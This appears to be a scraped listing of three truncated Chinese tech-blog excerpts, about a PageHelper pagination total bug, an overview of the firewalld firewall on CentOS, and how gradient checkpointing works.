分页插件PageHelper返回记录总数total竟然出错了 执行控制台的SQL&#xff0c;查询出来的total数量是对的&#xff0c;很奇怪分页的total设置为查询到的记录数。 怀疑对list.stream操作&#xff0c;影响了分页&#xff0c;代码发现确实是这样&#xff0c;debug&#xff0c;居然…

firewalld 防火墙

firewalld概述 Linux系统防火墙从CentOS7开始的默认防火墙工作在网络层&#xff0c;属于包过滤防火墙 Firewalld和iptables的关系 netfilter 位于Linux内核中的包过滤功能体系称为Linux防火墙的“内核态” firewalld Centos默认的管理防火墙规则的工具称为防火墙的“用…

Gradient-checkpointing的原理

原文&#xff1a; 将更大的网络安装到内存中。|by 雅罗斯拉夫布拉托夫 |张量流 |中等 (medium.com) 前向传播时&#xff0c;隔几层就保留一层activation数据&#xff0c;其余层的activation都释放掉&#xff1b; 反向传播时&#xff0c;从最近的checkpoint去重新跑forward&…